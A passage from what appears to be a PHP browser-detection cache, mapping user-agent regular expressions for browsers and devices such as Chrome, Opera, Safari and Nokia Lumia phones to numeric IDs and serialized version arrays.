3";i:815;s:6:"@2|5|3";i:816;s:6:"@3|5|3";i:817;s:6:"@3|5|1";i:818;s:6:"@1|5|1";i:819;s:6:"@2|4|2";i:820;s:6:"@3|4|2";i:821;s:6:"@3|4|4";i:822;s:6:"@1|4|2";i:823;s:6:"@2|3|9";i:824;s:6:"@2|4|1";i:825;s:6:"@3|4|1";i:826;s:6:"@1|3|8";i:827;s:6:"@2|4|4";i:828;s:6:"@1|4|4";i:829;s:6:"@2|4|3";i:830;s:6:"@3|4|3";i:831;s:6:"@3|4|0";i:832;s:6:"@1|4|3";i:833;s:6:"@2|4|0";i:834;s:6:"@3|3|8";i:835;s:6:"@1|3|9";i:836;s:6:"@1|4|0";i:837;s:6:"@3|3|9";i:838;s:6:"@2|3|8";i:839;s:6:"@1|4|1";i:840;}', '@^Mozilla/5\.0 \(iPod.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Mobile.*$@'=>809, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\).*applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* anonymized by.*$@'=>841, '@^Mozilla/5\.0 \(.*Windows NT 6\.4.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/.*$@'=>842, '@^Mozilla/5\.0 \(.*Linux.*Android.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/4\.0.*Mobile.*Safari.*$@'=>843, '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0.*; .*Windows NT 6\.0.*Mozilla/4\.0 \(compatible.*; MSIE 6\.0.*$@'=>844, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\).*applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* anonymized by.*$@'=>'a:5:{s:2:"@1";i:845;s:2:"@4";i:846;s:2:"@3";i:847;s:2:"@2";i:848;s:2:"@0";i:849;}', '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chrome/.*Safari/.*OPR/(\d)(\d)\.0.*HbbTV/.*$@'=>'a:24:{s:4:"@5|5";i:850;s:4:"@5|3";i:851;s:4:"@3|5";i:853;s:4:"@3|2";i:854;s:4:"@3|3";i:855;s:4:"@4|7";i:856;s:4:"@4|4";i:857;s:4:"@4|9";i:858;s:4:"@3|8";i:859;s:4:"@4|6";i:860;s:4:"@5|2";i:861;s:4:"@3|9";i:862;s:4:"@5|0";i:863;s:4:"@4|1";i:864;s:4:"@4|0";i:865;s:4:"@3|7";i:866;s:4:"@4|2";i:867;s:4:"@3|4";i:868;s:4:"@5|4";i:869;s:4:"@4|5";i:870;s:4:"@5|1";i:871;s:4:"@4|3";i:872;s:4:"@4|8";i:873;s:4:"@3|6";i:874;}', '@^Mozilla/5\.0 \(.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*CriOS/.*Safari/.*$@'=>852, '@^Mozilla/5\.0.*\(.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>875, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) .*Chrome/.*Mobile Safari/.*$@'=>876, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*YoloBrowser/1\.0.*Safari.*$@'=>877, '@^Mozilla/5\.0.*\(.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Safari/.*$@'=>878, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khmtl.*like.*gecko.*\).*Version/.*Chrome.*Safari.*$@'=>879, '@^ELEMENT10 1 Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>880, '@^Tablet\-PC\-4 Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>881, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.*Safari/.*$@'=>'a:22:{s:4:"@5|5";i:882;s:4:"@6|0";i:883;s:4:"@6|9";i:884;s:4:"@5|0";i:885;s:4:"@5|6";i:886;s:4:"@6|7";i:887;s:4:"@6|4";i:888;s:4:"@5|1";i:889;s:4:"@6|5";i:890;s:4:"@7|0";i:891;s:4:"@5|9";i:892;s:4:"@6|3";i:893;s:4:"@5|3";i:894;s:4:"@5|8";i:895;s:4:"@7|1";i:896;s:4:"@6|2";i:897;s:4:"@6|6";i:898;s:4:"@6|1";i:899;s:4:"@5|2";i:900;s:4:"@5|7";i:901;s:4:"@6|8";i:902;s:4:"@5|4";i:903;}', '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chrome/.*Safari/.*OPR/(\d)(\d)\.0.*OMI/.*$@'=>'a:29:{s:4:"@3|0";i:904;s:4:"@4|0";i:905;s:4:"@3|6";i:906;s:4:"@5|1";i:907;s:4:"@4|8";i:909;s:4:"@3|4";i:910;s:4:"@2|9";i:911;s:4:"@4|5";i:912;s:4:"@5|2";i:913;s:4:"@5|5";i:914;s:4:"@3|2";i:915;s:4:"@5|3";i:916;s:4:"@3|5";i:917;s:4:"@5|4";i:918;s:4:"@3|8";i:919;s:4:"@3|3";i:920;s:4:"@4|3";i:921;s:4:"@4|2";i:922;s:4:"@2|8";i:924;s:4:"@5|0";i:925;s:4:"@4|4";i:926;s:4:"@3|9";i:927;s:4:"@4|9";i:928;s:4:"@2|7";i:929;s:4:"@4|1";i:930;s:4:"@4|7";i:931;s:4:"@3|7";i:932;s:4:"@3|1";i:933;s:4:"@4|6";i:934;}', '@^Mozilla/5\.0.*\(.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Mobile.*$@'=>908, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.*\(.*kthml.*like.*gecko.*\).*Version/.*Chrome.*Safari.*$@'=>923, '@^Mozilla/5\.0 \(.*Linux.*Android.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari.*Chrome.*$@'=>935, '@^Mozilla/5\.0 \(.*Linux.*Android.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Chrome.*Safari.*$@'=>936, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.*Safari/.*$@'=>'a:88:{s:6:"@4|6|6";i:937;s:6:"@2|7|1";i:938;s:6:"@4|5|2";i:939;s:6:"@3|7|1";i:940;s:6:"@1|7|1";i:941;s:6:"@1|6|1";i:942;s:6:"@2|6|2";i:943;s:6:"@2|5|2";i:944;s:6:"@3|6|3";i:945;s:6:"@2|5|9";i:946;s:6:"@3|5|9";i:947;s:6:"@4|5|9";i:948;s:6:"@2|6|5";i:949;s:6:"@1|6|5";i:950;s:6:"@3|5|2";i:951;s:6:"@2|5|6";i:952;s:6:"@1|5|2";i:953;s:6:"@1|5|9";i:954;s:6:"@4|6|3";i:955;s:6:"@4|6|8";i:956;s:6:"@1|6|7";i:957;s:6:"@4|5|7";i:958;s:6:"@3|6|1";i:959;s:6:"@4|5|3";i:960;s:6:"@3|5|8";i:961;s:6:"@4|6|1";i:962;s:6:"@2|6|7";i:963;s:6:"@1|5|8";i:964;s:6:"@2|5|8";i:965;s:6:"@1|6|2";i:966;s:6:"@3|5|7";i:967;s:6:"@3|5|3";i:968;s:6:"@4|6|2";i:969;s:6:"@3|6|8";i:970;s:6:"@3|5|6";i:971;s:6:"@1|5|6";i:972;s:6:"@2|6|8";i:973;s:6:"@1|6|8";i:974;s:6:"@4|5|8";i:975;s:6:"@2|5|3";i:976;s:6:"@1|5|3";i:977;s:6:"@2|6|1";i:978;s:6:"@4|7|1";i:979;s:6:"@1|6|6";i:980;s:6:"@1|6|0";i:981;s:6:"@2|5|0";i:982;s:6:"@1|5|0";i:983;s:6:"@2|6|9";i:984;s:6:"@3|5|0";i:985;s:6:"@4|5|0";i:986;s:6:"@3|6|2";i:987;s:6:"@2|6|4";i:988;s:6:"@4|6|5";i:989;s:6:"@3|6|6";i:990;s:6:"@3|6|9";i:991;s:6:"@4|6|9";i:992;s:6:"@2|6|0";i:993;s:6:"@3|5|5";i:994;s:6:"@1|5|4";i:995;s:6:"@2|5|5";i:996;s:6:"@2|5|4";i:997;s:6:"@3|5|4";i:998;s:6:"@4|6|0";i:999;s:6:"@3|6|0";i:1000;s:6:"@4|5|4";i:1001;s:6:"@4|5|6";i:1002;s:6:"@1|7|0";i:1003;s:6:"@4|6|4";i:1004;s:6:"@4|6|7";i:1005;s:6:"@4|5|1";i:1006;s:6:"@3|5|1";i:1007;s:6:"@1|5|7";i:1008;s:6:"@1|6|3";i:1009;s:6:"@2|6|3";i:1010;s:6:"@1|5|5";i:1011;s:6:"@3|6|5";i:1012;s:6:"@2|5|7";i:1013;s:6:"@1|6|9";i:1014;s:6:"@2|5|1";i:1015;s:6:"@3|7|0";i:1016;s:6:"@2|7|0";i:1017;s:6:"@3|6|4";i:1018;s:6:"@1|5|1";i:1019;s:6:"@4|5|5";i:1020;s:6:"@2|6|6";i:1021;s:6:"@3|6|7";i:1022;s:6:"@4|7|0";i:1023;s:6:"@1|6|4";i:1024;}', '@^Mozilla/5\.0 \(.*Windows.*\).*applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*Anonymisiert durch.*$@'=>1025, '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chromium/(\d)(\d)\..*Chrome/.*Safari/.*$@'=>'a:27:{s:4:"@5|9";i:1026;s:4:"@5|0";i:1027;s:4:"@4|9";i:1028;s:4:"@6|0";i:1029;s:4:"@4|8";i:1030;s:4:"@4|7";i:1031;s:4:"@4|5";i:1032;s:4:"@4|6";i:1033;s:4:"@5|1";i:1034;s:4:"@5|2";i:1035;s:4:"@5|5";i:1036;s:4:"@5|6";i:1037;s:4:"@5|4";i:1038;s:4:"@5|3";i:1039;s:4:"@5|8";i:1041;s:4:"@5|7";i:1042;s:4:"@6|9";i:1043;s:4:"@6|5";i:1044;s:4:"@6|1";i:1045;s:4:"@6|4";i:1046;s:4:"@6|2";i:1047;s:4:"@6|3";i:1048;s:4:"@7|1";i:1049;s:4:"@6|6";i:1050;s:4:"@7|0";i:1051;s:4:"@6|8";i:1052;s:4:"@6|7";i:1053;}', '@^.*Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.*khtml.*like.*gecko.*\) Version/.*Chrome.*Safari.*$@'=>1040, '@^Mozilla/5\.0 \(Windows NT 6\.2; ARM; Trident/(\d)\.0.*rv\:11\.0; WPDesktop; NOKIA; Lumia 1(\d)20.*$@'=>'a:4:{s:4:"@8|5";i:1054;s:4:"@7|5";i:1055;s:4:"@7|3";i:1056;s:4:"@8|3";i:1057;}', '@^TERRA_101 Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>1058, '@^Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/7\.0.*rv\:11.*IEMobile.11\.0; Microsoft; RM\-1(\d)(\d)(\d).*$@'=>'a:5:{s:6:"@0|7|4";i:1059;s:6:"@0|8|9";i:1060;s:6:"@0|3|1";i:1061;s:6:"@0|9|0";i:1062;s:6:"@1|1|3";i:1063;}', '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.*Safari/.*$@'=>'a:29:{s:4:"@5|5";i:1064;s:4:"@5|4";i:1065;s:4:"@5|6";i:1066;s:4:"@5|8";i:1067;s:4:"@5|3";i:1068;s:4:"@5|7";i:1069;s:4:"@5|0";i:1070;s:4:"@4|8";i:1071;s:4:"@4|9";i:1072;s:4:"@5|9";i:1073;s:4:"@5|1";i:1074;s:4:"@5|2";i:1075;s:4:"@6|2";i:1076;s:4:"@6|8";i:1077;s:4:"@6|9";i:1078;s:4:"@7|0";i:1079;s:4:"@7|1";i:1080;s:4:"@6|6";i:1081;s:4:"@6|5";i:1082;s:4:"@6|1";i:1083;s:4:"@4|7";i:1084;s:4:"@6|3";i:1085;s:4:"@6|4";i:1086;s:4:"@6|0";i:1087;s:4:"@6|7";i:1088;s:4:"@4|5";i:1089;s:4:"@4|3";i:1090;s:4:"@4|6";i:1091;s:4:"@4|4";i:1092;}', '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chrome/.*Safari/.*OPR/(\d)(\d)\.0.*$@'=>'a:29:{s:4:"@5|5";i:1093;s:4:"@3|9";i:1094;s:4:"@2|9";i:1095;s:4:"@4|4";i:1096;s:4:"@4|0";i:1097;s:4:"@3|8";i:1098;s:4:"@3|3";i:1099;s:4:"@5|4";i:1100;s:4:"@5|2";i:1101;s:4:"@3|7";i:1102;s:4:"@3|0";i:1103;s:4:"@3|5";i:1104;s:4:"@4|5";i:1105;s:4:"@2|8";i:1106;s:4:"@5|0";i:1107;s:4:"@3|6";i:1108;s:4:"@4|6";i:1109;s:4:"@3|1";i:1110;s:4:"@5|3";i:1111;s:4:"@3|2";i:1112;s:4:"@4|7";i:1113;s:4:"@3|4";i:1114;s:4:"@4|8";i:1115;s:4:"@4|2";i:1117;s:4:"@4|3";i:1118;s:4:"@2|7";i:1119;s:4:"@4|9";i:1120;s:4:"@4|1";i:1122;s:4:"@5|1";i:1123;}', '@^.*Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/4\.(\d).*Safari.*$@'=>'a:2:{s:2:"@1";i:1116;s:2:"@2";i:1121;}', '@^Mozilla/5\.0 \(Windows NT 6\.2; ARM; Trident/(\d)\.0.*rv\:11\.0; WPDesktop; NOKIA; Lumia (\d)(\d)(\d).*$@'=>'a:16:{s:8:"@7|9|2|5";i:1124;s:8:"@7|6|3|0";i:1125;s:8:"@7|5|2|0";i:1126;s:8:"@7|6|2|5";i:1127;s:8:"@7|6|3|5";i:1128;s:8:"@7|7|2|0";i:1129;s:8:"@7|8|2|0";i:1130;s:8:"@7|9|2|0";i:1131;s:8:"@8|9|2|5";i:1132;s:8:"@8|9|2|0";i:1133;s:8:"@8|5|2|0";i:1134;s:8:"@8|8|2|0";i:1135;s:8:"@8|7|2|0";i:1136;s:8:"@8|6|3|0";i:1137;s:8:"@8|6|3|5";i:1138;s:8:"@8|6|2|5";i:1139;}', '@^TBDC1093 Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>1140, '@^Mozilla/5\.0 \(Linux;.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* SRAF/3\.(\d).*$@'=>'a:3:{s:2:"@5";i:1141;s:2:"@9";i:1142;s:2:"@0";i:1144;}', '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*ASTON;XenaHd Twin Connect.*$@'=>1143, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/4\.(\d).*Safari.*$@'=>'a:2:{s:2:"@1";i:1145;s:2:"@2";i:1147;}', '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khmtl.*like.*gecko.*\) Version/4\.0.*Safari.*$@'=>1146, '@^Mozilla/5\.0.*\(iPad.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Safari/.*$@'=>1148, '@^TBD1083 Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>1149, '@^TBDG773 Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>1150, '@^DINO762 Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>1151, '@^TBDB863 Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>1152, '@^Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/(\d)\.0.*rv\:11.*IEMobile.11\.0; NOKIA; Lumia (\d)(\d)(\d).*$@'=>'a:24:{s:8:"@7|7|3|0";i:1153;s:8:"@7|6|3|5";i:1154;s:8:"@8|6|2|5";i:1155;s:8:"@7|8|2|0";i:1156;s:8:"@7|9|2|5";i:1157;s:8:"@7|9|3|0";i:1158;s:8:"@7|9|2|8";i:1159;s:8:"@7|6|3|0";i:1160;s:8:"@7|6|2|5";i:1161;s:8:"@8|6|3|5";i:1162;s:8:"@8|9|2|0";i:1163;s:8:"@8|7|3|0";i:1164;s:8:"@7|5|2|0";i:1165;s:8:"@8|6|3|0";i:1166;s:8:"@7|6|2|0";i:1167;s:8:"@7|5|3|0";i:1168;s:8:"@8|8|2|0";i:1169;s:8:"@7|9|2|0";i:1170;s:8:"@8|9|2|5";i:1171;s:8:"@8|9|2|8";i:1172;s:8:"@8|6|2|0";i:1173;s:8:"@8|5|3|0";i:1174;s:8:"@8|5|2|0";i:1175;s:8:"@8|9|3|0";i:1176;}', '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.*\(.*kthml.*like.*gecko.*\) Version/4\.0.*Safari.*$@'=>1177, '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*Version/1(\d)\.(\d).* Safari/.*$@'=>'a:6:{s:4:"@0|2";i:1178;s:4:"@0|1";i:1179;s:4:"@1|0";i:1180;s:4:"@1|1";i:1181;s:4:"@0|0";i:1182;s:4:"@2|0";i:1183;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.* Safari/.*$@'=>1184, '@^Mozilla/5\.0 \(.*Linux.*Android.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/(\d)\.(\d).*Safari.*$@'=>'a:6:{s:4:"@4|1";i:1185;s:4:"@4|4";i:1186;s:4:"@5|0";i:1187;s:4:"@4|3";i:1188;s:4:"@4|0";i:1189;s:4:"@4|2";i:1190;}', '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Mobile.*$@'=>1191, '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0.*; .*Windows.*Mozilla/4\.0 \(compatible.*; MSIE 6\.0.*$@'=>1192, '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*Version/(\d)\.(\d).* Safari/.*$@'=>'a:8:{s:4:"@7|0";i:1193;s:4:"@8|0";i:1195;s:4:"@6|2";i:1196;s:4:"@6|1";i:1198;s:4:"@9|0";i:1199;s:4:"@6|0";i:1200;s:4:"@9|1";i:1204;s:4:"@7|1";i:1205;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\) applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>'a:4:{s:2:"@3";i:1194;s:2:"@0";i:1202;s:2:"@2";i:1203;s:2:"@1";i:1206;}', '@^Mozilla/5\.0 \(.*Windows.*\).*applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* anonymized by.*$@'=>1197, '@^Mozilla/5\.0\(.*Linux.*Android.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) Version/4\.0.*Safari.*$@'=>1201, '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chrome/.*Safari/.*OPR/(\d)(\d)\.0.*$@'=>'a:29:{s:4:"@2|7";i:1207;s:4:"@4|9";i:1208;s:4:"@3|4";i:1209;s:4:"@4|6";i:1210;s:4:"@4|7";i:1211;s:4:"@3|0";i:1213;s:4:"@4|4";i:1214;s:4:"@4|2";i:1215;s:4:"@4|5";i:1216;s:4:"@5|1";i:1217;s:4:"@3|2";i:1218;s:4:"@5|0";i:1219;s:4:"@4|8";i:1220;s:4:"@4|1";i:1221;s:4:"@5|5";i:1222;s:4:"@3|7";i:1223;s:4:"@5|4";i:1224;s:4:"@3|8";i:1225;s:4:"@3|3";i:1226;s:4:"@5|2";i:1227;s:4:"@2|8";i:1228;s:4:"@3|9";i:1229;s:4:"@5|3";i:1230;s:4:"@3|1";i:1231;s:4:"@4|0";i:1232;s:4:"@3|5";i:1233;s:4:"@2|9";i:1234;s:4:"@4|3";i:1235;s:4:"@3|6";i:1240;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.* Safari/.*$@'=>'a:5:{s:2:"@4";i:1212;s:2:"@1";i:1236;s:2:"@0";i:1237;s:2:"@2";i:1238;s:2:"@3";i:1239;}', '@^Mozilla/4\.0 \(compatible; MSIE 7\.0.*; .*Windows NT 6\.2.*Trident/3\.1; Xbox; Xbox One.*$@'=>1241, '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) HeadlessChrome.* Safari/.*$@'=>1242, '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) .*Chrome/.*Safari/.*$@'=>1243, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0.*Windows NT 6\.2.*Trident/6\.0.*Xbox; Xbox One.*\).*$@'=>1244, '@^Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/7\.0.*rv\:11.*IEMobile.11\.0; NOKIA; RM\-994.*$@'=>1245, '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.*Safari/.*$@'=>'a:22:{s:4:"@5|8";i:1246;s:4:"@5|4";i:1247;s:4:"@5|3";i:1248;s:4:"@5|5";i:1249;s:4:"@5|9";i:1250;s:4:"@7|1";i:1251;s:4:"@6|7";i:1252;s:4:"@6|6";i:1253;s:4:"@6|2";i:1254;s:4:"@5|1";i:1255;s:4:"@6|4";i:1256;s:4:"@6|8";i:1257;s:4:"@6|9";i:1258;s:4:"@6|3";i:1259;s:4:"@7|0";i:1260;s:4:"@5|2";i:1261;s:4:"@5|0";i:1262;s:4:"@6|5";i:1263;s:4:"@6|1";i:1264;s:4:"@6|0";i:1265;s:4:"@5|7";i:1266;s:4:"@5|6";i:1267;}', '@^Mozilla/5\.0\(.*Linux.*Android.*\)applewebkit.*\(.*khtml.*like.*gecko.*\)Version/4\.0.*Safari.*$@'=>1268, '@^Mozilla/5\.0 \(.*Linux.*Android.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari.*$@'=>1269, '@^Mozilla/5\.0.*\(.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Safari/.*$@'=>1270, '@^Mozilla/5\.0.*\(.*CPU.*OS.* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Mobile.*$@'=>1271, '@^Mozilla/5\.0 \(Windows NT 6\.2; ARM; Trident/(\d)\.0.*rv\:11\.0; WPDesktop; NOKIA; 909.*$@'=>'a:2:{s:2:"@8";i:1272;s:2:"@7";i:1273;}', '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*Chrome/.* Safari/.*$@'=>1274, '@^.* Mozilla/5\.0 \(X11; Linux x86_64\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*$@'=>1275, '@^Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/(\d)\.0.*rv\:11.*IEMobile.11\.0; NOKIA; 909.*$@'=>'a:2:{s:2:"@7";i:1276;s:2:"@8";i:1277;}', '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/(\d)(\d)\.0.*Safari/.*$@'=>'a:22:{s:4:"@7|1";i:1278;s:4:"@6|9";i:1279;s:4:"@6|7";i:1280;s:4:"@5|0";i:1281;s:4:"@6|0";i:1282;s:4:"@6|2";i:1283;s:4:"@6|4";i:1284;s:4:"@5|6";i:1285;s:4:"@6|8";i:1286;s:4:"@5|2";i:1287;s:4:"@5|9";i:1288;s:4:"@5|4";i:1289;s:4:"@5|1";i:1290;s:4:"@5|3";i:1291;s:4:"@7|0";i:1292;s:4:"@5|7";i:1293;s:4:"@6|6";i:1294;s:4:"@5|8";i:1295;s:4:"@5|5";i:1296;s:4:"@6|3";i:1297;s:4:"@6|1";i:1298;s:4:"@6|5";i:1299;}', '@^Mozilla/5\.0 Slackware.* \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*Chrome/.*$@'=>1300, '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.*\(.*khtml.*like.*gecko.*\) .*Version/4\.(\d).*Safari/.*$@'=>'a:2:{s:2:"@1";i:1301;s:2:"@0";i:1302;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; Windows 95; Anonymisiert.*Trident/6\.0.*\).*$@'=>1303, '@^Mozilla/5\.0 ArchLinux \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*Chrome/.*$@'=>1304, '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>1305, '@^Mozilla/5\.0 \(.*Linux.*Android.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/4\.0.*$@'=>1306, '@^Mozilla/5\.0 \(.*Windows.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.* Safari/.*$@'=>1307, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows NT 10\.0.*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:2:{s:2:"@7";i:1308;s:2:"@8";i:1309;}', '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*Version/1(\d)\.(\d).*$@'=>'a:4:{s:4:"@0|1";i:1310;s:4:"@0|0";i:1311;s:4:"@1|0";i:1312;s:4:"@0|2";i:1313;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.*$@'=>1314, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows NT 10\.0.*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:5:{s:6:"@4|7|8";i:1315;s:6:"@4|8|7";i:1316;s:6:"@4|7|7";i:1317;s:6:"@4|9|7";i:1318;s:6:"@5|9|7";i:1322;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows NT 6\.(\d).*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:4:{s:4:"@3|8";i:1319;s:4:"@3|7";i:1320;s:4:"@4|8";i:1321;s:4:"@4|7";i:1323;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*; rv\:(\d)(\d).*\) Gecko.* Firefox/(\d)(\d).*anonymized by .*$@'=>'a:102:{s:10:"@1|4|0|4|0";i:1324;s:10:"@2|3|4|3|4";i:1325;s:10:"@2|3|0|3|0";i:1326;s:10:"@2|3|7|3|7";i:1327;s:10:"@1|3|9|3|9";i:1328;s:10:"@1|3|2|3|2";i:1329;s:10:"@1|3|4|3|4";i:1330;s:10:"@0|3|4|3|4";i:1331;s:10:"@0|4|0|4|0";i:1332;s:10:"@1|3|3|3|3";i:1333;s:10:"@2|5|7|5|7";i:1334;s:10:"@0|3|3|3|3";i:1335;s:10:"@0|3|8|3|8";i:1336;s:10:"@2|3|2|3|2";i:1337;s:10:"@2|3|9|3|9";i:1338;s:10:"@0|3|0|3|0";i:1339;s:10:"@2|3|3|3|3";i:1340;s:10:"@2|5|4|5|4";i:1341;s:10:"@2|3|8|3|8";i:1342;s:10:"@1|3|8|3|8";i:1343;s:10:"@2|5|8|5|8";i:1344;s:10:"@0|3|6|3|6";i:1345;s:10:"@1|3|6|3|6";i:1346;s:10:"@2|3|6|3|6";i:1347;s:10:"@0|3|1|3|1";i:1348;s:10:"@0|5|5|5|5";i:1349;s:10:"@0|5|8|5|8";i:1350;s:10:"@1|5|8|5|8";i:1351;s:10:"@1|3|1|3|1";i:1352;s:10:"@1|3|7|3|7";i:1353;s:10:"@0|3|5|3|5";i:1354;s:10:"@0|3|2|3|2";i:1355;s:10:"@0|3|7|3|7";i:1356;s:10:"@1|3|5|3|5";i:1357;s:10:"@2|3|5|3|5";i:1358;s:10:"@2|3|1|3|1";i:1359;s:10:"@1|3|0|3|0";i:1360;s:10:"@0|3|9|3|9";i:1361;s:10:"@1|5|7|5|7";i:1362;s:10:"@1|5|0|5|0";i:1363;s:10:"@2|4|0|4|0";i:1364;s:10:"@1|6|1|6|1";i:1365;s:10:"@1|5|5|5|5";i:1366;s:10:"@0|6|2|6|2";i:1367;s:10:"@2|5|0|5|0";i:1368;s:10:"@1|6|2|6|2";i:1369;s:10:"@0|5|4|5|4";i:1370;s:10:"@0|5|0|5|0";i:1371;s:10:"@0|6|0|6|0";i:1372;s:10:"@1|4|9|4|9";i:1373;s:10:"@2|5|9|5|9";i:1374;s:10:"@1|6|0|6|0";i:1375;s:10:"@2|4|